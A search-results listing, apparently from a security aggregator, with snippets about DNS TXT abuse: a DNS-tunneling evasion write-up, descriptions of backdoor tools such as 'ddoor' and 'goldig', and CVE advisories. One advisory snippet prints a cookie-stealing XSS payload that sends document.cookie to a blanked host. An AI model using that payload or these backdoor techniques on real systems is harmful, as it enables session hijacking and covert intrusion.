633 matches found
DNS_Tunneling
介绍 受我近期参与的一个涉及 Cobalt Strike DNS 信标的工作启发，结合尝试绕过 Microsoft Defender for Endpoint 的任务目标，我花了一些时间研究如何利用 DNS 将载荷传输到目标机器。我还进一步挑战自己，尝试在 PowerShell 处于受限语言模式时也能实现这一目标。这项研究主要针对较新的 Windows 版本（例如 Windows 10+、Server 2019+），但正如你稍后所见，较低版本也可能实现。 背景 什么是 DNS 隧道？ DNS 隧道是一项历史悠久的技术，被多种攻击者使用。简单来说，它利用 DNS...
policymaker
policymaker 生成真实的漏洞披露政策 — VDP、安全港、security.txt 和 DNS Security TXT 记录。几分钟内完成，无需律师。 属于disclose.io 项目 的一部分 — 开放、厂商中立的漏洞披露基础设施。浏览生态系统 → policymaker.disclose.io 是一个免费的开源生成器，通过回答几个关于您组织的问题，即可生成一套完整、可辩护的安全披露方案： 完整的漏洞披露政策 （VDP），可选是否包含协调披露窗口， 一个独立的安全港条款 ，可附加到现有政策中， 一份 security.txt 文件（RFC 9116），以及 一条 DNS...
dnssearch
dnssearch This software is a subdomain enumeration tool. Purpose dnssearch takes an input domain -domain parameter and a wordlist -wordlist parameter , it will then perform concurrent DNS requests using the lines of the wordlist as sub domains eventually bruteforcing every sub domain available on...
dig
dig Envoltorio local de dig en macOS. Quien realmente envía la consulta sigue siendo el /usr/bin/dig del sistema. Este proyecto solo añade un TXT local al final de la salida de tu propia terminal, para facilitar las pruebas locales. No modifica DNS, no escribe zone file archivos de zona, ni toca...
CVE-2026-50980
CVE-2026-50980：基于 DNS 的跨站脚本攻击（XSS）及会话劫持（oPanel） 概述 CVE ID： CVE-2026-50980 产品： oPanel 受影响版本： new Image.src='http://:/log?cookie='+document.cookie;...
ddoor
ddoor cross platform backdoor using dns txt records What is ddor? ddor is a cross platform light weight backdoor that uses txt records to execute commands on infected machines. Features Allows a single txt record to have seperate commands for both linux and windows machines List of around 10 publ...
ddoor
ddoor 使用DNS TXT记录的跨平台后门 什么是ddor? ddor 是一个跨平台轻量级后门，使用TXT记录在受感染机器上执行命令。 特性 允许单个TXT记录为Linux和Windows机器分别设置命令 大约10个公共DNS服务器的列表，随机选择 不可预测的回调时间 使用自定义密码的XOR加密TXT记录 支持DNS over HTTPS（感谢Keith @keharv添加此功能！） Linux特性: 反调试，如果检测到ptrace附加到进程，它将退出。 进程名称/线程名称被隐藏，一个假名称覆盖所有系统参数和文件名，使其看起来像合法程序。 自动守护进程化...
dark-doh
dark-doh.exe versión pública Propósito: Descargar archivos a través de DoH, o descargar y ejecutar un shellcode no implementado en la versión pública Ejemplo de ejecución: dark-doh.exe file1 download google yourdomain.com Se ha añadido el script Python de apoyo para la generación de zonas DNS...
goldig
项目已迁移至 github.com/rtfmkiesel/goldig goldig 通过 DNS 记录在 Windows 上执行命令。 该工具将创建一个 DNS 服务器并提供一个恶意 TXT 记录。只需从控制台输出复制命令并粘贴到 Windows shell 中即可。 用法 usage: goldig OPTIONS Options: -i 要绑定的接口（默认：eth0） -c 要执行的命令（默认：calc.exe） -h 显示此帮助文本 安装 go install gitlab.com/rtfmkiesel/goldig@latest 从源码构建 git clone...
RedTeamScripts
RedTeamScripts Repositorio con varios scripts de Red Team. kill.exe Estás realizando todo tipo de actividades durante un red team y tienes varios procesos ejecutándose que no quieres cerrar manualmente. kill.exe es para ti. Cópialo en C:\Windows\ y simplemente llámalo con el nombre del proceso qu...
CVE-2026-12268
ManageEngine DDI Central versions below 6201 are vulnerable to PowerShell command injection in Windows DNS SPF/TXT record push leading to remote code execution...
EUVD-2026-88213
ManageEngine DDI Central versions below 6201 are vulnerable to PowerShell command injection in Windows DNS SPF/TXT record push leading to remote code execution...
CVE-2026-12268 Authenticated PowerShell Injection leads to RCE
ManageEngine DDI Central versions below 6201 are vulnerable to PowerShell command injection in Windows DNS SPF/TXT record push leading to remote code execution...
CVE-2026-12268 Authenticated PowerShell Injection leads to RCE
ManageEngine DDI Central versions below 6201 are vulnerable to PowerShell command injection in Windows DNS SPF/TXT record push leading to remote code execution...
CVE-2026-12268
ManageEngine DDI Central versions below 6201 are vulnerable to PowerShell command injection during a Windows DNS SPF/TXT record push. This vulnerability can lead to remote code execution (RCE). The provided documents do not specify the exact component, file, or root cause details beyond the injec...
PT-2026-99849
Name of the Vulnerable Software and Affected Versions ManageEngine DDI Central versions prior to 6201 Description An issue exists that allows PowerShell command injection during the Windows DNS SPF/TXT record push process, which can lead to remote code execution. Recommendations Update ManageEngi...
CVE-2026-50980
Cross-Site Scripting XSS vulnerability in the DNS lookup/management component of oPanel before v1.20.25 allows remote attackers to execute arbitrary JavaScript and perform session hijacking via a crafted DNS TXT record...
PT-2026-83174
Cross-Site Scripting XSS vulnerability in the DNS lookup/management component of oPanel before v1.20.25 allows remote attackers to execute arbitrary JavaScript and perform session hijacking via a crafted DNS TXT record...
CVE-2026-50980: Improper Neutralization of Input During Web Page Generation
Cross-Site Scripting XSS vulnerability in the DNS lookup/management component of oPanel before v1.20.25 allows remote attackers to execute arbitrary JavaScript and perform session hijacking via a crafted DNS TXT record...
EUVD-2026-67917
Cross-Site Scripting XSS vulnerability in the DNS lookup/management component of oPanel before v1.20.25 allows remote attackers to execute arbitrary JavaScript and perform session hijacking via a crafted DNS TXT record...